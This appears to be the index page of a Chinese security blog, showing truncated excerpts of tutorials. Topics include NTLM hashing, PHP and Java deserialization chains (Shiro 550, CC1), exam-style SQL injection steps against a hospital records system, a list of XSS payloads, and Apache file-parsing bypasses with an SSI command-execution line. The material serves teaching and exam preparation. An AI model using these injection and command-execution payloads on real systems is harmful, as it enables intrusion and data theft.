网络安全
未读Windows认证1.Windows本地认证
Administrator
登陆系统时从sam文件中读取密码哈希和用户输入的密码进行NTLM HASH进行比对。
2.我的密码在哪?
路径%System%\System32\config\SAM
3.NTLM (NT LAN Manager) HASH
32位 数字+字母(和md5长度一致)
Windows本身不存储用户的明文密码
4.NTLM Hash产生流程1. 输入预处理:密码转 Unicode 编码
原始密码:用户输入的明文密码(例如 Password123)。
编码规则:将密码转换为 UTF-16 Little Endian (LE) 格式的字节序列。
12# 示例:密码 "Password123" 的 UTF-16LE 编码bytes = "P\0a\0s\0s\0w\0o\0r\0d\0123\0".hex() # 每个字符占 2 字节(含空终止符)
2. 计算 MD4 散列值
算法选择:使用 MD4 算法(已被证明不安全,但 NTLMv1/v2 仍依赖此设计)。 ...
以下是 PHP 中序列化(Serialization)与反序列化(Unserialization)的基础知识总结:
1. 序列化(Serialization)
定义:将数据结构或对象转换为可存储或传输的字符串格式(二进制安全)。
函数:serialize($data)
支持类型:基本类型(int、string、bool、float、null)、数组、对象。
对象序列化:
序列化对象时会保存类的名称、属性和值(不包括方法)。
如果类定义了魔术方法 __sleep(),序列化时会自动调用该方法,可以指定需要序列化的属性列表。
12345678910111213141516171819class User { public $name; private $password; public function __construct($name, $password) { $this->name = $name; $this->password = $password; } // 定义 _ ...
1.shiro5501.1.环境搭建
getcode
123git clone https://github.com/apache/shiro.gitcd shiro git checkout shiro-root-1.2.4
编辑父项目pom文件,将jstl版本修改为1.2
123456<dependency> <groupId>javax.servlet</groupId> <artifactId>jstl</artifactId> <version>1.2</version> <scope>runtime</scope></dependency>
配置tomcat
tomcat历史版本下载地址:http://archive.apache.org/dist/tomcat/
修复工件,部署samples-web:war exploded,exploded表示默认展开的war包,多数用于开发测试环境。
1.2.测试1. ...
1.WEB JS逆向出密钥和算法以及签名
通过前端JS逆向发现请求响应都使用的是SM4加密算法。且跟踪代码后发现密钥在前端进行了硬编码
而签名逻辑为url+body参数+‘-’+url参数+请求方法,最后替换掉斜线
2.复现完整加解密和签名逻辑
首先对加密数据进行BASE64解码为二进制数据,然后进行SM4ECB解密。加密就反过来即可。
签名逻辑复现
3.编写插件3.1.新建IDEA Maven项目
我这里采用的是Maven项目,如果想用Groovy构建的也可以,Groovy构建的更快,官方也是用的Groovy,不过我用的不够熟悉,有时候构建容易出问题,所以我这采用Maven构建。需要注意的是JDK版本一定要是JAVA17版本以上的,因为我们这使用的是新版本的montoya-api,而不是老版本的API,所以必须使用高版本JAVA。
pom文件配置
需要导入的是bp插件的API依赖两个,
1234567891011121314151617181920212223242526272829303132333435363738394041424344454647 ...
1.简介
该链主要利用org.apache.commons.collections.functors.InvokerTransformer类可通过反射调用程序中任意方法,包括Runtime.getRuntime()方法。
pom.xml导入commons-collections依赖
12345<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version></dependency>
该篇讲的是CC1中的一条链,也是原作者最开始用的一条链,前面一篇不过是之后的变种,也就是说这个才是原来那条最开始流行的CC1链。
2.代码分析2.1.执行类分析(这部分和上一节一样)
在CC1中用来作为执行类的是org.apache.commons.collections.functors.InvokerTran ...
1.简介
该链主要利用org.apache.commons.collections.functors.InvokerTransformer类可通过反射调用程序中任意方法,包括Runtime.getRuntime()方法。
pom.xml导入commons-collections依赖
12345<dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.2.1</version></dependency>
该篇讲的是CC1中的一条链,也是原作者最开始用的一条链,前面一篇不过是之后的变种,也就是说这个才是原来那条最开始流行的CC1链。
2.代码分析2.1.执行类分析(这部分和上一节一样)
在CC1中用来作为执行类的是org.apache.commons.collections.functors.InvokerTran ...
类的动态加载Java类的动态加载机制是其核心特性之一,允许在运行时按需加载类,而非在程序启动时一次性加载所有类。这种机制为模块化开发、热部署和插件系统提供了基础支持。以下从 类加载生命周期、动态加载方式、应用场景和常见问题四个维度详细解析:
一、类加载的生命周期Java类加载遵循 加载(Loading)→ 链接(Linking)→ 初始化(Initialization) 三阶段:
加载通过类加载器(ClassLoader)查找字节码(.class文件),生成对应的Class对象。
链接
验证:检查字节码是否符合JVM规范。
准备:为静态变量分配内存并赋默认值(如int初始化为0)。
解析:将符号引用转换为直接引用。
初始化执行静态代码块(static{})和静态变量赋值。
关键点:类的初始化是惰性的,仅在首次主动使用时触发(如new实例、访问静态字段/方法)。
二、动态加载的实现方式1. 使用 Class.forName()12345// 加载并初始化类(默认触发初始化)Class<?> clazz = Class.forN ...
网络安全
未读1.基础题1.1.SQL注入1.1.1.MG医院患者就诊档案管理系统
通过万能用户进入系统
密码考试时会给出
常出现的注入点
通过order by 判断上条查询语句返回的列数(小于等于条目数是返回正确,大于时返回错误)。
1pid=1'+order+by+14--+
注入(考试时不一定是15个,24,18,11都有可能)
1pid=-1'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--+
通过load_file(‘’)读取本地文件(文件路径题目给出)
其他还可能出现注入点的位置
医生-查看患者档案-编辑
患者-编辑
药品-编辑
检查-编辑
治疗-编辑
1.1.2.文章发布
在插入文章位置存在SQL注入(insert)
公式为: 其中gbg必须和注册的用户名一致才能插入成功
12345123','gbg'),('123',(select/**/database()),'a123',' ...
1.常见payload12345678910<script>alert(/xss/)</script><iframe onload=alert("xss");></iframe><textarea></textarea><script>alert(/xss/)</script><link rel=import href="http://127.0.0.1/1.js"><a href="javascript:alert(`xss`);">点击就送</a><iframe src=javascript:alert('xss');></iframe><form action="javascript:alert(`xss`)"><input type=submit> <iMg/src="x" ...
1.Apache1.1.apache 向上解析漏洞
当apache解析一个无法解析的后缀名,会持续向上解析,直到解析完 整个文件名,或者成功解析文件为止。
例如解析a.php.x1.x2.x3,当无法解析x3时会解析到x2,x2无法解析,再解析x1,知道解析到php成功解析为止。
攻击示例:test.php.abc(其中abc不为任意黑名单也不属于Apacha解析白名单),可以用来绕过php的黑名单限制
1.2.apache 换行解析漏洞(CVE-2017-15715)
在解析xxx.php\x0A将被按照PHP后缀进行解析,导致绕过一些服务器的安全策略
上传方法(绕过黑名单)
当为POST请求时,在文件名后缀上加上一个\x0a,(可通过bp改包实现)
解析方法
访问时也需要加上换行符%0a 例如:http://127.0.0.1:8080/phpinfo.php%0A
1.3.SSI服务端嵌入(服务端包含)
默认扩展名.stm、.shtm、.shtml。
以下为文件内容。
1<!--#exec cmd="id"-->
...